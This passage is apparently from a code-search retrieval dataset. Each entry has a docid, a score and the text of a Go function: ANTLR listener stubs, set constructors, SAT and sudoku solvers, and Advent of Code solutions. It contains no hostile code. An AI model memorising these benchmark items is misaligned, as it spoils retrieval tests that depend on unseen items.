len(pb.Clauses)\n\trestart := true\n\tfor restart {\n\t\trestart = false\n\t\ti := 0\n\t\tfor i < nbClauses {\n\t\t\tc := pb.Clauses[i]\n\t\t\tnbLits := c.Len()\n\t\t\tclauseSat := false\n\t\t\tj := 0\n\t\t\tfor j < nbLits {\n\t\t\t\tlit := c.Get(j)\n\t\t\t\tif pb.Model[lit.Var()] == 0 {\n\t\t\t\t\tj++\n\t\t\t\t} else if (pb.Model[lit.Var()] == 1) == lit.IsPositive() {\n\t\t\t\t\tclauseSat = true\n\t\t\t\t\tbreak\n\t\t\t\t} else {\n\t\t\t\t\tnbLits--\n\t\t\t\t\tc.Set(j, c.Get(nbLits))\n\t\t\t\t}\n\t\t\t}\n\t\t\tif clauseSat {\n\t\t\t\tnbClauses--\n\t\t\t\tpb.Clauses[i] = pb.Clauses[nbClauses]\n\t\t\t} else if nbLits == 0 {\n\t\t\t\tpb.Status = Unsat\n\t\t\t\treturn\n\t\t\t} else if nbLits == 1 { // UP\n\t\t\t\tpb.addUnit(c.First())\n\t\t\t\tif pb.Status == Unsat {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tnbClauses--\n\t\t\t\tpb.Clauses[i] = pb.Clauses[nbClauses]\n\t\t\t\trestart = true // Must restart, since this lit might have made one more clause Unit or SAT.\n\t\t\t} else { // nb lits unbound > cardinality\n\t\t\t\tif c.Len() != nbLits {\n\t\t\t\t\tc.Shrink(nbLits)\n\t\t\t\t}\n\t\t\t\ti++\n\t\t\t}\n\t\t}\n\t}\n\tpb.updateStatus(nbClauses)\n}", "title": "" }, { "docid": "8e9de1820fbc611df4153d3c07dbe8d3", "score": "0.49240303", "text": "func (board *Board) Solve() (Board, error) {\n\tpuzzle := *board\n\tif err := puzzle.Valid(); err != nil {\n\t\treturn puzzle, err\n\t}\n\tpuzzle.backtrack()\n\treturn puzzle, nil\n}", "title": "" }, { "docid": "efe61567b7325a3879a8f500dc5ab960", "score": "0.4922873", "text": "func ProblemDay1() {\n\n\ttest1 := []int{2, 2, 1}\n\tfmt.Println(singleNumber(test1))\n\n\ttest2 := []int{4, 1, 2, 1, 2}\n\tfmt.Println(singleNumber(test2))\n\n}", "title": "" }, { "docid": "f8b7fb0de842c20ed27bd224e1d5d572", "score": "0.49205765", "text": "func part2(space Space) int {\n\tours := space.parents(\"YOU\")\n\tfmt.Printf(\"ours: %v\\n\", ours)\n\this := space.parents(\"SAN\")\n\tfmt.Printf(\"santa's: %v\\n\", his)\n\n\tvar innerLoopSlice []string\n\tvar outerLoopSlice []string\n\tif len(ours) < len(his) {\n\t\tinnerLoopSlice = ours\n\t\touterLoopSlice = his\n\t} else {\n\t\tinnerLoopSlice = his\n\t\touterLoopSlice = ours\n\t}\n\n\tfor i := 0; i < len(outerLoopSlice); i++ {\n\t\trevIdx := len(outerLoopSlice) - 1 - i\n\t\tfor j := 0; j < len(innerLoopSlice); j++ {\n\t\t\trevJdx := len(innerLoopSlice) - 1 - j\n\t\t\tif outerLoopSlice[revIdx] == innerLoopSlice[revJdx] {\n\t\t\t\treturn i + j\n\t\t\t}\n\t\t}\n\t}\n\n\treturn -1\n}", "title": "" }, { "docid": "6827ae57d32b820cb3dd3a53ec178f96", "score": "0.49203363", "text": "func DayThreePartOne(in int) error {\n\tsq := int(math.Ceil(math.Sqrt(float64(in))) + 1)\n\tif sq < 10 {\n\t\tsq = 10\n\t}\n\n\tvar table = make([][]int, sq)\n\n\tfor i := 0; i < sq; i++ {\n\t\ttable[i] = make([]int, sq)\n\t}\n\n\tx := sq / 2\n\ty := sq / 2\n\tstep := 1\n\ttable[y][x] = 1 // center\n\n\tdir := right\n\n\tfor {\n\t\tif step == in {\n\t\t\tbreak\n\t\t}\n\t\tstep++\n\n\t\tswitch dir {\n\t\tcase right:\n\t\t\tx++\n\t\t\ttable[y][x] = step\n\n\t\t\tif table[y-1][x] == 0 {\n\t\t\t\tdir = up\n\t\t\t}\n\n\t\tcase left:\n\t\t\tx--\n\t\t\ttable[y][x] = step\n\n\t\t\tif table[y+1][x] == 0 {\n\t\t\t\tdir = down\n\t\t\t}\n\n\t\tcase up:\n\t\t\ty--\n\t\t\ttable[y][x] = step\n\n\t\t\tif table[y][x-1] == 0 {\n\t\t\t\tdir = left\n\t\t\t}\n\n\t\tcase down:\n\t\t\ty++\n\t\t\ttable[y][x] = step\n\n\t\t\tif table[y][x+1] == 0 {\n\t\t\t\tdir = right\n\t\t\t}\n\t\t}\n\t\t//\t\tprintTable(table)\n\t\t//\t\tfmt.Printf(\"y: %d, x: %d, dir: %d, step: %d\\n\", y, x, dir, step)\n\t}\n\n\tdiff := (math.Abs(float64((x - (sq / 2)))) + math.Abs(float64((y - (sq / 2)))))\n\tfmt.Printf(\"DayThreePartOne checksum is: %d, %0.0f\\n\", in, diff)\n\treturn nil\n}", "title": "" }, { "docid": "39c73180e0ed31d25d220354b5598ce2", "score": "0.4918781", "text": "func partTwo(numbers []int) int {\r\n\ttarget := 2020\r\n\r\n\tc := make(chan [3]int)\r\n\tfindThreeAddends(numbers, target, c)\r\n\r\n\tresult := <-c\r\n\treturn result[0] * result[1] * result[2]\r\n}", "title": "" }, { "docid": "251cbc10a77880f0c17656d8b6c1b711", "score": "0.49144885", "text": "func part1() {\n\tinitialState := &State{\n\t\televator: 0,\n\t\tlevels: [][]string{\n\t\t\t{\"TG\", \"TM\", \"PG\", \".\", \"SG\", \".\", \".\", \".\", \".\", \".\"},\n\t\t\t{\".\", \".\", \".\", \"PM\", \".\", \"SM\", \".\", \".\", \".\", \".\"},\n\t\t\t{\".\", \".\", \".\", \".\", \".\", \".\", \"KG\", \"KM\", \"RG\", \"RM\"},\n\t\t\t{\".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\"},\n\t\t},\n\t}\n\n\tendState := &State{\n\t\televator: 3,\n\t\tlevels: [][]string{\n\t\t\t{\".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\"},\n\t\t\t{\".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\"},\n\t\t\t{\".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\"},\n\t\t\t{\"TG\", \"TM\", \"PG\", \"PM\", \"SG\", \"SM\", \"KG\", \"KM\", \"RG\", \"RM\"},\n\t\t},\n\t}\n\n\tpath := alg.Find(initialState, endState.ID())\n\tfmt.Printf(\"Steps: %d\\n\", len(path)-1)\n}", "title": "" } ]
95f513693dda8575ac13adb20966b852
EnterStruct_value is called when production struct_value is entered.
[ { "docid": "9df23245602b1dc3e9860f2098444b34", "score": "0.8645821", "text": "func (s *BaseASLListener) EnterStruct_value(ctx *Struct_valueContext) {}", "title": "" } ]
[ { "docid": "a4cbe41c37ab8cb192178f6b8dc5601f", "score": "0.71624696", "text": "func (s *BaseFmtParserListener) EnterValue(ctx *ValueContext) {}", "title": "" }, { "docid": "259845e428522b9283b4b743930d4feb", "score": "0.71078354", "text": "func (s *BasePowerBuilderParserListener) EnterValue(ctx *ValueContext) {}", "title": "" }, { "docid": "27d5688e935ab412fe367520ae8f7fd6", "score": "0.676909", "text": "func (s *BasepropertiesListener) EnterValue(ctx *ValueContext) {}", "title": "" }, { "docid": "005663d7da618eaaad02b3357c951893", "score": "0.6654571", "text": "func (s *BaseASLListener) ExitStruct_value(ctx *Struct_valueContext) {}", "title": "" }, { "docid": "54ea21e860dbde164d9969a40b8d791d", "score": "0.66480064", "text": "func (s *BaseONCRPCv2Listener) EnterValue(ctx *ValueContext) {}", "title": "" }, { "docid": "fa0bbb630a467e9ab8df3b7296e50e45", "score": "0.6629864", "text": "func (s *BaseAgeListener) EnterValue(ctx *ValueContext) {}", "title": "" }, { "docid": "f9f46fd436c4394c4a629c22110ff842", "score": "0.6555972", "text": "func (s *BaseASLListener) EnterStruct_(ctx *Struct_Context) {}", "title": "" }, { "docid": "8210ab4792a66bc2bdd53c27ab479a88", "score": "0.64441913", "text": "func (s *BaseONCRPCv2Listener) EnterStructBody(ctx *StructBodyContext) {}", "title": "" }, { "docid": "bdc08bc6a5157d1994ae13f5bdc148aa", "score": "0.6433027", "text": "func (s *BaseASLListener) EnterStruct_statement(ctx *Struct_statementContext) {}", "title": "" }, { "docid": "dbe7d541ee4cfd38170e5ab8a2c2546b", "score": "0.64070046", "text": "func (s *BaseASLListener) EnterStruct_condition(ctx *Struct_conditionContext) {}", "title": "" }, { "docid": "12cf8fbf1b2c64be2db60155a6048d09", "score": "0.6401631", "text": "func (s *BaseASLListener) EnterStruct_assembly(ctx *Struct_assemblyContext) {}", "title": "" }, { "docid": "9aab6dea3583e7f816e929509266d328", "score": "0.6381873", "text": "func (s *BaseJPAListener) EnterNew_value(ctx *New_valueContext) {}", "title": "" }, { "docid": "14d46728a77faa3ae4dc858a94021794", "score": "0.6371636", "text": "func (s *BasefilterListener) EnterValue(ctx *ValueContext) {}", "title": "" }, { "docid": "b916392e97bc0a05967a0eb45297cc7a", "score": "0.63184565", "text": "func (s *BaseHiveParserListener) EnterStructType(ctx *StructTypeContext) {}", "title": "" }, { "docid": "4e18fd65028eefcd5e5fc23103fce6e6", "score": "0.63131547", "text": "func (s *BaseapexListener) EnterElementValue(ctx *ElementValueContext) {}", "title": "" }, { "docid": "9a61cf95ae7fa2229e617d3367fd4d0a", "score": "0.6265748", "text": "func (s *BaseASLListener) EnterValue_list(ctx *Value_listContext) {}", "title": "" }, { "docid": "63aeac7541a945f7095e9b6fc9e0e47a", "score": "0.62375987", "text": "func (s *BaseIniListener) EnterValue(ctx *ValueContext) {}", "title": "" }, { "docid": "6455bee8d4fc0d983fe97d296a66e787", "score": "0.6167937", "text": "func (s *BasetsqlListener) EnterNext_value_for_function(ctx *Next_value_for_functionContext) {}", "title": "" }, { "docid": "da70c597d3e4e234b64732fcfd1ac731", "score": "0.61605066", "text": "func (s *BasetsqlListener) EnterValue_list(ctx *Value_listContext) {}", "title": "" }, { "docid": "c33261a5d69c86d9cb4f12c8a0958338", "score": "0.61202085", "text": "func (s *BaseGolangListener) EnterLiteralValue(ctx *LiteralValueContext) {}", "title": "" }, { "docid": "c2201b26429ac3cdfcdbadb05600ae33", "score": "0.6114623", "text": "func (s *BaseASLListener) EnterStruct_type(ctx *Struct_typeContext) {}", "title": "" }, { "docid": "ae9566e80d9cceae5bf3afdb294b498c", "score": "0.6048765", "text": "func (s *BaseASLListener) EnterEnum_value(ctx *Enum_valueContext) {}", "title": "" }, { "docid": "39b18f0b148063d83e62c564d386c0ef", "score": "0.6045808", "text": "func (s *BaseASLListener) EnterStructure_field(ctx *Structure_fieldContext) {}", "title": "" }, { "docid": "6c059bcdbec55da4f85ccba5db8e6c94", "score": "0.60404485", "text": "func (s *BasePowerBuilderParserListener) EnterSet_value(ctx *Set_valueContext) {}", "title": "" }, { "docid": "5c59ca8f864249375f3237437a19d8f3", "score": "0.6039704", "text": "func (s *BaseBODLParserListener) EnterValueAssign(ctx *ValueAssignContext) {}", "title": "" }, { "docid": "e08eec01804e46f7a7cb124c8496d302", "score": "0.60322845", "text": "func (s *BaseASLListener) EnterStruct_definition(ctx *Struct_definitionContext) {}", "title": "" }, { "docid": "3e0815e0166285e8288e4e3fbe4c3436", "score": "0.60228497", "text": "func (s *BasetsqlListener) EnterNext_value_for(ctx *Next_value_forContext) {}", "title": "" }, { "docid": "7f69402aee9887fc471e5ba2836c5d51", "score": "0.5984626", "text": "func (s *BaseLessParserListener) EnterValues(ctx *ValuesContext) {}", "title": "" }, { "docid": "1c73b353fbe768f63c90230ab6f52322", "score": "0.59805214", "text": "func (s *BaseGolangListener) EnterStructType(ctx *StructTypeContext) {}", "title": "" }, { "docid": "5a050b6ed8cfa381701c8399606f2421", "score": "0.59769285", "text": "func (s *BaseONCRPCv2Listener) EnterTypeDefStruct(ctx *TypeDefStructContext) {}", "title": "" }, { "docid": "932bb8b19e6e0aa223bf91a4eec8e7b6", "score": "0.59710115", "text": "func (s *BaseapexListener) EnterSoqlValue(ctx *SoqlValueContext) {}", "title": "" }, { "docid": "13c3db5f3811d1cc1be0049a071f2336", "score": "0.5946802", "text": "func (s *BaseArgParseListener) EnterVal(ctx *ValContext) {}", "title": "" }, { "docid": "357274315f52e2bbf38d2bbaabdb85e6", "score": "0.5934185", "text": "func (s *BaseHiveParserListener) EnterWindow_value_expression(ctx *Window_value_expressionContext) {}", "title": "" }, { "docid": "9d522dc2c0e2e1d8d1daf38ca00938b5", "score": "0.59212303", "text": "func (s *BaseASLListener) EnterStruct_instantiation(ctx *Struct_instantiationContext) {}", "title": "" }, { "docid": "8d7dfea230cb039e3076f01b859a4cab", "score": "0.5892723", "text": "func (s *BasetsqlListener) EnterInsert_statement_value(ctx *Insert_statement_valueContext) {}", "title": "" }, { "docid": "d38cdd51dddc33ab421a1baf47414d54", "score": "0.588797", "text": "func (s *BaseAntlrThriftListener) EnterStructDef(ctx *StructDefContext) {}", "title": "" }, { "docid": "15bcaddfcd9df878522abfd630b1a06c", "score": "0.5872957", "text": "func (s *BaseONCRPCv2Listener) EnterStructTypeSpec(ctx *StructTypeSpecContext) {}", "title": "" }, { "docid": "daa0e3e92a7e4794aeb1fb3581a46ddd", "score": "0.5861582", "text": "func (s *BaseapexListener) EnterMapValue(ctx *MapValueContext) {}", "title": "" }, { "docid": "442ee61a0a844b380e57b398ed50c9ae", "score": "0.58246076", "text": "func (s *BaseHiveParserListener) EnterIntervalValue(ctx *IntervalValueContext) {}", "title": "" }, { "docid": "474db7f16bc815b2953421abb95d2b2b", "score": "0.5805928", "text": "func (s *BaseAntlrThriftListener) EnterConstValue(ctx *ConstValueContext) {}", "title": "" }, { "docid": "8fd35d704108fa1c6df1c41e42c9513b", "score": "0.57942903", "text": "func (s *BaseASLListener) EnterStruct_for_loop(ctx *Struct_for_loopContext) {}", "title": "" }, { "docid": "a85773d6769aeb022dc4b47feed635d5", "score": "0.577625", "text": "func (s *BaseCQL3Listener) EnterProperty_value(ctx *Property_valueContext) {}", "title": "" }, { "docid": "3dc9bcc9ce8b90585650f435dc9d95e8", "score": "0.5774053", "text": "func (s *BaseJPAListener) EnterPattern_value(ctx *Pattern_valueContext) {}", "title": "" }, { "docid": "3f474b8064873bd42c75c7c991940ea0", "score": "0.5759203", "text": "func (s *BaseIniListener) EnterBasicValue(ctx *BasicValueContext) {}", "title": "" }, { "docid": "4de65cdfe1931dcbae677174f3804fc2", "score": "0.56784433", "text": "func (s *BasetsqlListener) EnterTable_value_constructor(ctx *Table_value_constructorContext) {}", "title": "" }, { "docid": "6b537d7b1b28d46aa7074989d3a2d56a", "score": "0.5659605", "text": "func (s *BaseBODLParserListener) EnterValutaionExpression(ctx *ValutaionExpressionContext) {}", "title": "" }, { "docid": "f2cd740ef68a0bf9764146a1a18e881a", "score": "0.56570476", "text": "func (s *BaseONCRPCv2Listener) EnterTypeSpecStruct(ctx *TypeSpecStructContext) {}", "title": "" }, { "docid": "6f5dad03cb5bde7d7fffe1563dc4b0ba", "score": "0.5655578", "text": "func (s *BaseASLListener) EnterStruct_subset(ctx *Struct_subsetContext) {}", "title": "" }, { "docid": "ca14c1fc37eede7f22ff74f359e7b558", "score": "0.5643355", "text": "func (s *BaseBODLParserListener) EnterValueAssignList(ctx *ValueAssignListContext) {}", "title": "" }, { "docid": "33bdf94eeb9900d9a71133449726e651", "score": "0.5635534", "text": "func (s *BaseIniListener) EnterValueLine(ctx *ValueLineContext) {}", "title": "" }, { "docid": "d2306c909f737aec964a59fc5d146488", "score": "0.56112164", "text": "func (s *BaseAnnotationGrammarListener) EnterEntity_value(ctx *Entity_valueContext) {}", "title": "" }, { "docid": "b9b4d81f571d74b0864b8717fd440785", "score": "0.5566217", "text": "func (s *BasetsqlListener) EnterDefault_value(ctx *Default_valueContext) {}", "title": "" }, { "docid": "b37866c13c18d03865e9c4897d623d85", "score": "0.55035055", "text": "func (s *BaseHiveParserListener) EnterValueRowConstructor(ctx *ValueRowConstructorContext) {}", "title": "" }, { "docid": "9a5574f2e40ff371f983c11c7b8a4b94", "score": "0.54955107", "text": "func (s *BaseabbParserListener) EnterProcParameter(ctx *ProcParameterContext) {}", "title": "" }, { "docid": "85d1d9fb439a8f0262293bdbbcd9f0c2", "score": "0.54658973", "text": "func (s *BasetsqlListener) EnterIndex_value(ctx *Index_valueContext) {}", "title": "" }, { "docid": "93b75403fccab10cca1f43318c2b3aa1", "score": "0.5462461", "text": "func (s *BaseBODLParserListener) EnterValuationDefinition(ctx *ValuationDefinitionContext) {}", "title": "" }, { "docid": "d4cbfe39d01a05016fca75e2efdccae5", "score": "0.54401827", "text": "func (s *BasePowerBuilderParserListener) EnterChoose_case_value_sub(ctx *Choose_case_value_subContext) {\n}", "title": "" }, { "docid": "b9fac9703bbcae346c1258441af016c9", "score": "0.54344416", "text": "func (s *BaseIniListener) EnterNumberValue(ctx *NumberValueContext) {}", "title": "" }, { "docid": "1030aa3deae36b509e9c081558090112", "score": "0.5412751", "text": "func (s *BaseabbParserListener) EnterFunctionParameter(ctx *FunctionParameterContext) {}", "title": "" }, { "docid": "0c8db995d2df8c35f05cbfd42c285978", "score": "0.5398219", "text": "func (s *BaseJPAListener) EnterSimple_state_field(ctx *Simple_state_fieldContext) {}", "title": "" }, { "docid": "bf28906a8a16aa1097728dccaf8faf95", "score": "0.53805923", "text": "func (s *BaseASLListener) EnterOrder_struct(ctx *Order_structContext) {}", "title": "" }, { "docid": "f91e9c4d37b9d5df040e1bda33551546", "score": "0.5365204", "text": "func (s *BaseIniListener) EnterIntegerValue(ctx *IntegerValueContext) {}", "title": "" }, { "docid": "dd4805efd350a976328183e0a686b736", "score": "0.53529346", "text": "func (s *BaseapexListener) EnterSetValue(ctx *SetValueContext) {}", "title": "" }, { "docid": "6b3241b439c83211b888be4cec50c095", "score": "0.53521156", "text": "func (s *BaseONCRPCv2Listener) EnterTypeSpecStructIdentifier(ctx *TypeSpecStructIdentifierContext) {}", "title": "" }, { "docid": "21d048360e59675c20ae622dafff7f06", "score": "0.52789134", "text": "func (s *BaseIniListener) EnterDecimalValue(ctx *DecimalValueContext) {}", "title": "" }, { "docid": "e398d3014091c45f17f168a7afebf2fe", "score": "0.526066", "text": "func (s *BaseabbParserListener) EnterFunctionCall(ctx *FunctionCallContext) {}", "title": "" }, { "docid": "d59e7d0b058684913f1f59f655a73527", "score": "0.52433246", "text": "func (s *BaseHiveParserListener) EnterDefaultVal(ctx *DefaultValContext) {}", "title": "" }, { "docid": "319fe4c5b3bd2fd5f7f4be0c0aad1666", "score": "0.52431494", "text": "func (s *BaseHiveParserListener) EnterValuesTableConstructor(ctx *ValuesTableConstructorContext) {}", "title": "" }, { "docid": "f6870831e9f136ae7c8980cccbd2a5ab", "score": "0.5225741", "text": "func (s *BaseHiveParserListener) EnterValuesClause(ctx *ValuesClauseContext) {}", "title": "" }, { "docid": "f655bd75a6218f28bf1c2844c3aa0138", "score": "0.5153102", "text": "func (s *BaseJPAListener) EnterState_field(ctx *State_fieldContext) {}", "title": "" }, { "docid": "6b611fb53f776c9181361c5f6c100e57", "score": "0.51400167", "text": "func (v Value) structValData(ctx *context) (structValue, *bottom) {\n\treturn v.structValOpts(ctx, options{\n\t\tomitHidden: true,\n\t\tomitDefinitions: true,\n\t\tomitOptional: true,\n\t})\n}", "title": "" }, { "docid": "fb6657d8f18ae93d8e809af66ef62783", "score": "0.51355535", "text": "func (s *BaseIniListener) EnterStringValue(ctx *StringValueContext) {}", "title": "" }, { "docid": "a1eb205579ce320ea0108fda3f999a00", "score": "0.51032174", "text": "func (s *BaseHiveParserListener) EnterUnionType(ctx *UnionTypeContext) {}", "title": "" }, { "docid": "dcd82e5ad336325d6f29ed76e7cc1ddf", "score": "0.50823724", "text": "func (s *BaseASLListener) ExitStruct_(ctx *Struct_Context) {}", "title": "" }, { "docid": "954447e16d63b6ef07336865412a0bbb", "score": "0.50774944", "text": "func (s *BaseabbParserListener) EnterProcCall(ctx *ProcCallContext) {}", "title": "" }, { "docid": "18ed176260d8b254b72627eae24319a8", "score": "0.5053787", "text": "func (s *BaseONCRPCv2Listener) EnterEnumTypeSpec(ctx *EnumTypeSpecContext) {}", "title": "" }, { "docid": "2d1addeef8ab3cabf31c9c8af19c32d6", "score": "0.50365", "text": "func (s *BaseBODLParserListener) EnterValutaionExpressionList(ctx *ValutaionExpressionListContext) {}", "title": "" }, { "docid": "68c2a233ffa5ac1538764e56397d9a16", "score": "0.5001461", "text": "func (s *BaseHiveParserListener) EnterPartitionVal(ctx *PartitionValContext) {}", "title": "" }, { "docid": "c28feacb3b84e1766b6eb50a418e1be7", "score": "0.49947175", "text": "func (gate *Gate) Enter(value interface{}) bool {\n\tgate.mutex.Lock()\n\tdefer gate.mutex.Unlock()\n\n\tif _, ok := gate.entries[value]; !ok {\n\t\tgate.entries[value] = true\n\t\tgate.waitGroup.Add(1)\n\t\treturn true\n\t} else {\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "b944584b9b14331201d84ed8ed0f2074", "score": "0.49910352", "text": "func (s *BaseHiveParserListener) EnterKeyValueProperty(ctx *KeyValuePropertyContext) {}", "title": "" }, { "docid": "59a7c377b700b4ec28164ce9973f57ca", "score": "0.49723747", "text": "func (s *BaseBODLParserListener) EnterTypeDefaultValue(ctx *TypeDefaultValueContext) {}", "title": "" }, { "docid": "5f32ccfae6c2dbb425cb5a3e64da0440", "score": "0.4971054", "text": "func (s *BasevinLangListener) EnterFunctionCall(ctx *FunctionCallContext) {}", "title": "" }, { "docid": "02bbe2f06ad7c484352fcad5cefd1d59", "score": "0.49423942", "text": "func (s *BaseIniListener) EnterBoolValue(ctx *BoolValueContext) {}", "title": "" }, { "docid": "d66b076196421deb02dd09e28718a8e1", "score": "0.4939736", "text": "func (s *BaseCQL3Listener) EnterColumn_values(ctx *Column_valuesContext) {}", "title": "" }, { "docid": "f860e15d8dedbabf0242efcd12eee045", "score": "0.49342245", "text": "func (s *BasePowerBuilderParserListener) EnterFunction_event_call(ctx *Function_event_callContext) {}", "title": "" }, { "docid": "a5d3752bb157e7b2ee392231be7f30c3", "score": "0.49215797", "text": "func (s *BaseabbParserListener) EnterPrimitive(ctx *PrimitiveContext) {}", "title": "" }, { "docid": "ff293b39f74989ba92405f0bbbd6985f", "score": "0.4916349", "text": "func (s *InfoCollector) EnterVar_(ctx *parser.Var_Context) {}", "title": "" }, { "docid": "dc0b4e042332f59bd36c0e6dc85f00c1", "score": "0.4905007", "text": "func (s *BaseONCRPCv2Listener) EnterTypeSpecFloat(ctx *TypeSpecFloatContext) {}", "title": "" }, { "docid": "24e6a5e9fca910316f8daf282321f6d9", "score": "0.4889876", "text": "func (s *BaseFmtParserListener) EnterParam(ctx *ParamContext) {}", "title": "" }, { "docid": "b57edb5b510b583c34fc3352049d8d40", "score": "0.48841095", "text": "func StructFieldValue(o interface{}, slotName string) interface{} {\n\tvar oVal = reflect.ValueOf(o).Elem()\n\n\tvar fieldVal = oVal.FieldByName(slotName)\n\n\tif ! fieldVal.IsValid() {\n\t\tpanic(\"No such slot name\" + slotName)\n\t}\n\n\treturn fieldVal.Interface()\n}", "title": "" }, { "docid": "0e779b78a04ec85eac70320e0971d165", "score": "0.4877712", "text": "func (s *BasePowerBuilderParserListener) EnterConstant_decl(ctx *Constant_declContext) {}", "title": "" }, { "docid": "810d20568fd7e3269587e40356f46974", "score": "0.48737198", "text": "func ValuePass(unit *ast.Unit, location *location.UnitLocation, valueLibrary *values.ValueLibrary, addressBook addressbook.AddressBook, tags map[string]tags.LocationList, modulePath string, output string) {\n\tdata := &evaluator.EvaluateData{\n\t\tLocation: location,\n\t\tLocalValues: nil,\n\t\tValueLibrary: valueLibrary,\n\t\tAddressBook: addressBook,\n\t\tCallStack: evaluator.NewCallStack(),\n\t\tLoopInject: evaluator.NewLoopInject(),\n\t\tModulePath: modulePath,\n\t\tOutput: output,\n\t}\n\taddressbook.InsertAddressTable(location.Module, location.Unit, addressbook.NewAddressTable(), addressBook)\n\tvalues.InsertValueTable(location.Module, location.Unit, values.NewValueTable(), valueLibrary.Exported)\n\tvalues.InsertValueTable(location.Module, location.Unit, values.NewValueTable(), valueLibrary.Internal)\n\tPassOne(unit, data)\n\tPassTwo(unit, data)\n\tPassThree(unit, data, tags)\n}", "title": "" }, { "docid": "72e71a644e892281c205392a39ddc297", "score": "0.48616353", "text": "func (s *BaseorwellListener) EnterVar_(ctx *Var_Context) {}", "title": "" }, { "docid": "67d265bde4c183d5fb9254187f653327", "score": "0.48571897", "text": "func (s *BasePowerBuilderParserListener) EnterDatatype_decl(ctx *Datatype_declContext) {}", "title": "" }, { "docid": "65bb34600b1afe0c2c6bfd09b401d7c7", "score": "0.48558947", "text": "func internal_handleValue(val reflect.Value, buffer *bytes.Buffer){\n\tif val.Kind() == reflect.Struct{\n\t\tbuffer.Write(internal_hashStruct(val))\n\t} else if val.Kind() == reflect.Ptr {\n\t} else if val.Kind() == reflect.Interface {\n\t\tinf := val.Interface()\n\t\tif infVal, ok := inf.(string); ok {\n\t\t\tbuffer.WriteString(infVal)\n\t\t} else if infVal, ok := inf.(int); ok {\n\t\t\tbuffer.WriteByte(byte(infVal))\n\t\t} else if infVal, ok := inf.(int64); ok {\n\t\t\tbuffer.WriteByte(byte(infVal))\n\t\t} else if infVal, ok := inf.(float64); ok {\n\t\t\tbuffer.WriteByte(byte(infVal))\n\t\t} else {\n\t\t\tbuffer.Write(internal_hashStruct(inf))\n\t\t}\n\t} else {\n\t\tbuffer.WriteString(fmt.Sprintf(\"%v\", val))\n\t}\n}", "title": "" }, { "docid": "173b06bfb75f5e1cfeb3e612a140379e", "score": "0.48485866", "text": "func (s *BasePowerBuilderParserListener) EnterFunction_call_statement(ctx *Function_call_statementContext) {\n}", "title": "" }, { "docid": "f0f877da84eec082c174e24d36a54f3f", "score": "0.48473302", "text": "func (s *BaseONCRPCv2Listener) EnterUnionTypeSpec(ctx *UnionTypeSpecContext) {}", "title": "" }, { "docid": "6c75c906ed338f2504732089d1dec170", "score": "0.48449695", "text": "func (s *BaseapexListener) EnterSetter(ctx *SetterContext) {}", "title": "" }, { "docid": "551f88b925c1c7b49539464d28aa0447", "score": "0.48438224", "text": "func (s *BaseFmtParserListener) ExitValue(ctx *ValueContext) {}", "title": "" }, { "docid": "9d160d67e33945b113a7a05557394700", "score": "0.4833613", "text": "func (s *BaseFmtParserListener) EnterCmp_exp(ctx *Cmp_expContext) {}", "title": "" } ]
d9b87e8509750522747be4576e08e34d
Create a new empty set
[ { "docid": "25faec90eb39657314ef28f71c220574", "score": "0.6912448", "text": "func NewSet() *Set {\n\tset := &Set{}\n\tset.values = make(map[string]struct{})\n\treturn set\n}", "title": "" } ]
[ { "docid": "085ff9444ffcd29799d420dbcb96d1f2", "score": "0.82448304", "text": "func New() Set {\n\treturn Set{}\n}", "title": "" }, { "docid": "085ff9444ffcd29799d420dbcb96d1f2", "score": "0.82448304", "text": "func New() Set {\n\treturn Set{}\n}", "title": "" }, { "docid": "691258da661cab4b404a249ddb6c3328", "score": "0.8108143", "text": "func New() Set {\n\treturn make(Set, 0)\n}", "title": "" }, { "docid": "4368cbebcb05a774e282af31f2bed8c8", "score": "0.7681513", "text": "func newSimpleSet() Set {\n\treturn &simpleSet{\n\t\telements: make(map[interface{}]types.Empty),\n\t}\n}", "title": "" }, { "docid": "60b60ab938348603802dba7abc1bb7da", "score": "0.7541393", "text": "func New(items ...any) Set {\n\tst := set{\n\t\telements: make(map[any]bool),\n\t}\n\tfor _, item := range items {\n\t\tst.Add(item)\n\t}\n\treturn &st\n}", "title": "" }, { "docid": "d30f19b836f33cd8fdfd0613ec11fd14", "score": "0.7530031", "text": "func New() *Set {\n\treturn &Set{items: make(map[interface{}]struct{})}\n}", "title": "" }, { "docid": "341b029ad2f2d9d27aad7c86fca778c6", "score": "0.7498318", "text": "func NewSet(keys ...string) Set {\n\ts := Set{}\n\tfor _, k := range keys {\n\t\ts[k] = struct{}{}\n\t}\n\treturn s\n}", "title": "" }, { "docid": "9efed7f33bc9a5cd3663a607bdb8ae3e", "score": "0.74380744", "text": "func NewSet() Set {\n\treturn Set{\n\t\tm: map[Hash]bool{},\n\t}\n}", "title": "" }, { "docid": "92482d7dba37befff8cbd7e777322c39", "score": "0.7412754", "text": "func NewSet(size int) *Set {\n\tif size <= 0 {\n\t\tsize = 10\n\t}\n\ts := &Set{\n\t\titems: make([]interface{}, 0, size),\n\t}\n\treturn s\n}", "title": "" }, { "docid": "00850f617f33906af1f00490d3b2d39b", "score": "0.74079925", "text": "func New() *HashSet { return new(HashSet).Init(19) }", "title": "" }, { "docid": "35db405cbc579227e25f8a72ef4a3ca4", "score": "0.73939663", "text": "func NewSet() Set {\n\tm := make(map[int]struct{})\n\treturn Set{m}\n}", "title": "" }, { "docid": "cd76a7288223b5c3bda0b9f59f9ce506", "score": "0.73787004", "text": "func NewSet() Set {\n\tm := make(map[int32]struct{})\n\treturn Set{m}\n}", "title": "" }, { "docid": "dbc985ebc2463c55aef94d386193344c", "score": "0.7335318", "text": "func NewSet() *Set {\n\treturn &Set{m: make(map[string]void)}\n}", "title": "" }, { "docid": "5dad655fe03c9f879a1aa32b1f247ada", "score": "0.7278847", "text": "func New() *Set {\n\treturn &Set{}\n}", "title": "" }, { "docid": "161ffaf5c3e80ec03fb92729353cbad0", "score": "0.7248668", "text": "func New(v ...string) Set {\n\treturn Add(nil, v...)\n}", "title": "" }, { "docid": "df7b7b276f08e0ac6f40cbdac3015037", "score": "0.7210836", "text": "func NewSet(items ...string) Set {\n\tss := Set{}\n\tss.Insert(items...)\n\treturn ss\n}", "title": "" }, { "docid": "4b502a6f1365d083ac303e34c002da2c", "score": "0.7208561", "text": "func New(init 